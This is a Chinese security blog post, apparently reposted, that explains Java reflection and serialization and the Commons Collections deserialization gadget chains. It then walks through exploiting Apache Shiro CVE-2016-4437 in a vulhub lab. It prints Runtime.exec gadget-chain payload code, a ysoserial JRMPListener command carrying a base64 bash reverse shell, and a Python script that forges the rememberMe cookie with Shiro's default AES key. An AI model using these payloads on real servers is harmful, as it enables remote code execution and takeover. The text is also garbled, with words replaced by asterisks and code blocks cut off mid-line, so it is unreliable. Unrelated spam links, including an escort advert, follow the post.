Java反序列化:Apache

访客4年前黑客资讯389
看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。
PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。

什么是反射

反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行的时候才动态加载类,并且对于任意一个类,都能够知道这个类的所有属性和 *** ,调用 *** /访问属性,不需要提前在编译期知道运行的对象是谁,他允许运行中的Java程序获取类的信息,并且可以操作类或对象内部属性。程序中对象的类型一般都是在编译期就确定下来的,而当我们的程序在运行时,可能需要动态的加载一些类,这些类因为之前用不到,所以没有加载到jvm,这时,使用Java反射机制可以在运行期动态的创建对象并调用其属性,它是在运行时根据需要才加载。
我们可以在java加载了类进入jvm之后,获取到这个类的实例,并且可以调用这个类的 *** ,参数之类的。
看一个例子
class User{
    private String name;
    private int age;


    @Override
    public String toString(){
        return "User
现在定义了一个类User,这个类有各种的 *** 和参数。我们将这个类实例化之后,再动态调用它的 *** 来给它赋值。
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    User user=new User();
    Class clz=user.getClass();
    Method method=clz.getMethod("setName", String.class);
    Method method1=clz.getMethod("setAge", int.class);
    method1.invoke(user,21);
    method.invoke(user,"fortheone");
    System.out.println(user);
}
在主 *** 中实现这些反射调用 *** ,要抛出以上三个错误,否则会无法执行。 所以一个反射的流程就是:先通过getClass获取到类实例,再通过getMethod获取到类 *** ,然后再利用invoke *** 传入参数进行调用。但是,在这个例子中所调用的 *** 都是public属性,而在一些类中可能会存在protected或是provide属性,需要用到setAccessible(true)这种 *** 来解除私有限定。

java序列化与反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() *** 可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() *** 用于反序列化。 序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 要注意的是,只有实现了serializeable接口的类才可以进行序列化操作。
import java.io.*;


public class test1 {


    public static void main(String[] args){
        User user=new User("fortheone", 21);
        try {
            // 创建一个FIleOutputStream
            FileOutputStream fos=new FileOutputStream("https://www.freebuf.com/articles/network/user.ser");
            // 将这个FIleOutputStream封装到ObjectOutputStream中
            ObjectOutputStream os=new ObjectOutputStream(fos);
            // 调用writeObject *** ,序列化对象到文件user.ser中
            os.writeObject(user);


            System.out.println("读取数据:");
            //  创建一个FIleInutputStream
            FileInputStream fis=new FileInputStream("https://www.freebuf.com/articles/network/user.ser");
            // 将FileInputStream封装到ObjectInputStream中
            ObjectInputStream oi=new ObjectInputStream(fis);
            // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型
            User user1=(User)oi.readObject();


            user1.info();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}


class User implements Serializable{
    private String name;
    private int age;


    public User(String name, int age) {
        this.name=name;
        this.age=age;
    }


    public void info(){
        System.out.println("Name: "+name+", Age: "+age);
    }


    // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
    //     System.out.println("[*]执行了自定义的readObject函数");
    // }
}
这是一个序列化与反序列化的演示,其中的 FileOutputStream ObjectOutputStream 是java的流处理的转换。首先创建一个文件输出流,然后再使用过滤流来处理,可以提供缓冲写的作用。具体可以参见文章( https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html)
那么在序列化与反序列化的过程中,会有一个问题,就是在反序列化的时候会自动执行类的readObject *** 。如果我们在readObject中有恶意的操作,即可造成攻击。如下图:

Apache-CommonsCollections 序列化RCE漏洞分析

环境准备:首先安装idea,然后安装maven插件,使用maven直接安装 CommonsCollections。在pom.xml中加入
<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>
即可安装。安装好以后记得要把项目jdk版本与本地jdk版本对应。参考文章( https://blog.csdn.net/qq_22076345/article/details/82392236)
出现了CommonsCollections的包就说明成功了。
漏洞分析: 在InvokeTransformer类中有这两个 ***
构造 *** 中可以传入三个参数, *** 名,参数类型,参数。然后transform *** 接收一个object对象。会对传入的对象进行反射调用 *** 。但是这样还不能执行命令,因为在java中执行命令的操作是 Runtime.getRuntime().exec(cmd)。而在这里我们一次只能传入一个 *** 。
但是很巧的是 ChainedTransformer 这个类中的 transform *** 可以循环执行 transform *** 。并且将上一次执行的结果作为下一次的参数。
这样说可能不是很清楚,举个例子来看看。
这里要求在chainedTransformer的transform *** 中传入一个Runtime对象。但是这样我们没有利用到反序列化,在实际情况里也不可能给我们这样传参去调用。
从上面的步骤可以看到,整个链的起点就是 Runtime ,而我们在利用这条链的时候也没有办法通过传参去传入这个Runtime。
但是恰巧有这么一个类 ConstantTransformer 它的构造 *** 是直接放回传入的参数,它的transform *** 也是直接返回传入的参数。那么也就是说 把Runtime.class 传入 ConstantTransformer 作为 transformers数组的起点,通过之一次transform *** ,就可以得到Runtime。后面再利用循环调用transform就可以通过反射命令执行。
这样就可以通过循环调用transform *** 来执行命令。现在漏洞触发的核心已经了解清楚了,接下来就是找触发漏洞的利用链。也就是如何触发chainedTransformer的transform *** 呢?
接下来有两条链,一条受限于jdk版本(jdk1.7可以,8不行)

LazyMap链

在lazymap的get *** 中执行了transform *** 。所以只要将factory赋值为chainedTransformer。可以直接在构造 *** 里赋值。
所以要找到一个类可以触发LazyMap的get *** 。 而在TiedMapEntry类中有一个getValue *** 可以执行get *** ,且map属性可控。
且TiedMapEntry类中的tostring *** 可以触发getValue *** ,java的tostring *** 与php的__tostring *** 一样,在类实例被当作字符串的时候会自动执行。
.png) 然后又找到 BadAttributeValueExpException 的readObject *** 会触发tostring ***
.png) 所以只要把val属性设置为 TiedMapEntry 即可。最终payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.io.*;


public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]

TransformedMap利用链

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:jihe中的数据存储形式即是一个索引对应一个值,就像shenfenzheng与人的关系那样),会调用transform *** 自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
其中的checkSetValue *** 中,valueTransformer属性调用了transform *** 。所以只要将valueTransformer属性设置为我们之前的chainedTransformer即可触发漏洞。
调用decorate *** 可以实例化一个 TransformedMap 类,然后将其属性 keyTransformer和valueTransformer设置为我们想要的值。所以现在就是要再找一个触发checkSetValue *** 的类。
在AnnotationInvocationHandler类中的readObject 中执行了setValue *** 。而 setValue() 函数最终会触发 checkSetValue() 函数:
而memberValues来自于构造 *** ,所以最终的payload为:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;




public class test {
    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] 

利用Ysoserial 生成payload

下载Ysoserial 然后执行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然后把payload.bin放入项目中,对其进行反序列化
漏洞环境搭建
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
直接使用docker搭建vulhub里的shiro靶场就可以了。
启动后
登录抓包
可以在响应包中看到有 rememberMe=deleteMe的字段,这是shiro的特征。

漏洞验证

1、直接使用xray给出的payload测试
在xray的config.yaml中修改proxy为burp的监听端口,这样可以获取到xray发出的流量。
这里可以抓到xray发出的请求包中的payload,其中的header中还带有Testecho,用以测试回显。可以看到响应头中出现了Testecho字样。所以判断出存在漏洞。
然后再将Testecho替换为 Testcmd 即可执行命令。
但是我这台机器在执行ifconfig命令的时候不知道为什么无法执行。
2、使用ysoserial反序列化发payload
首先要下载 ysoserial的jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
然后下载 ysoserial的源码 https://github.com/frohoff/ysoserial.git
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"
在7878端口监听JRMP,等待服务端访问。
然后使用poc.py生成payload的cookie
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen=subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS=AES.block_size
    pad=lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv=uuid.uuid4().bytes
    encryptor=AES.new(key, AES.MODE_CBC, iv)
    file_body=pad(popen.stdout.read())
    base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__=='__main__':
    payload=encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
python poc.py 监听服务器ip:端口
生成了payload之后,向服务器发送payload的cookie
?
成功获取到shell。

一些要注意的点

1、在生成payload的时候,使用的key一般是shiro1.2.4默认的key,在实际环境下可能会有其他的key。xray中自带了几个其他的key值用于遍历。
2、实际情况中默认shiro的commons-collections版本为3.2.1 而ysoserial里使用3.2.1的版本时会报错,但是可以使用JRMP。可以多尝试几个 commons-collections的版本。具体还要看环境中的依赖包。

参考文章

https://www.anquanke.com/post/id/211228
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001

相关文章

新版5元纸币11月5日发行是真的吗 新版5元纸币长什么样

中央人民银行在定为2020年11月5日公布新版5米米。历经升级转变 发展趋势到现在的第五套。在图案设计和防伪标识上面拥有新的转变和技术性。新版本5米纸币11月5日发售是真是假 新版本5米纸币长什么样...

小米智能插座不能定时

小米智能插座不能定时

  跟着科技的进步,许多产物都的名称前面都被添加上了“智能”二字,就拿小米家的插座来说吧,它不只可以或许支持手机长途节制,还可以毗连WiFi,按时开关,自动断电,以及电量统计等等,可是最近笔者家的小米...

12个方面,聊聊什么样的产品让人会喜欢?

12个方面,聊聊什么样的产品让人会喜欢?

乐成的产物不只需要具备贸易代价、更重要的是具备用户的承认,而本文就从12个方面入手,聊聊什么样的产物能得到用户的承认,让用户喜欢。 奈何的产物让人会喜欢? 其实这个是一个反问句,反问句背后,是千千万...

海口高端预约

想不想看海口市高端模特预约的工作中日常生活,个人微信拉进大家的间距。各地区盆友都能够来关心一下我文章内容,陪你掌握现阶段受欢迎的高端模特职业也有最前沿的海口市高端模特预约信息内容哦。女学妹发展趋势非常...

怎样才能查看兄弟的微信聊天记录

. 宝宝拉肚子其实是可以适当吃一些水果的,有很多认为水果是凉性,宝宝吃了会加重腹泻情况,那么,宝宝拉肚子能吃水果吗?宝宝拉肚子可以吃什么水果?接下来友谊长存小编就来说一说。 宝宝拉肚子可以吃水果吗...

邯郸做网站找超速云建站(做网站十大公司哪家好)

网络推广,听起来很繁杂,必须技术性和方式,乃至钱财。事实上,这件事情很繁杂也非常简单,关键在于你怎么做。在这儿我写一些我经常应用的好用方式,大伙儿能够实际操作参照。 营销推广的实质是让大量的人了解并...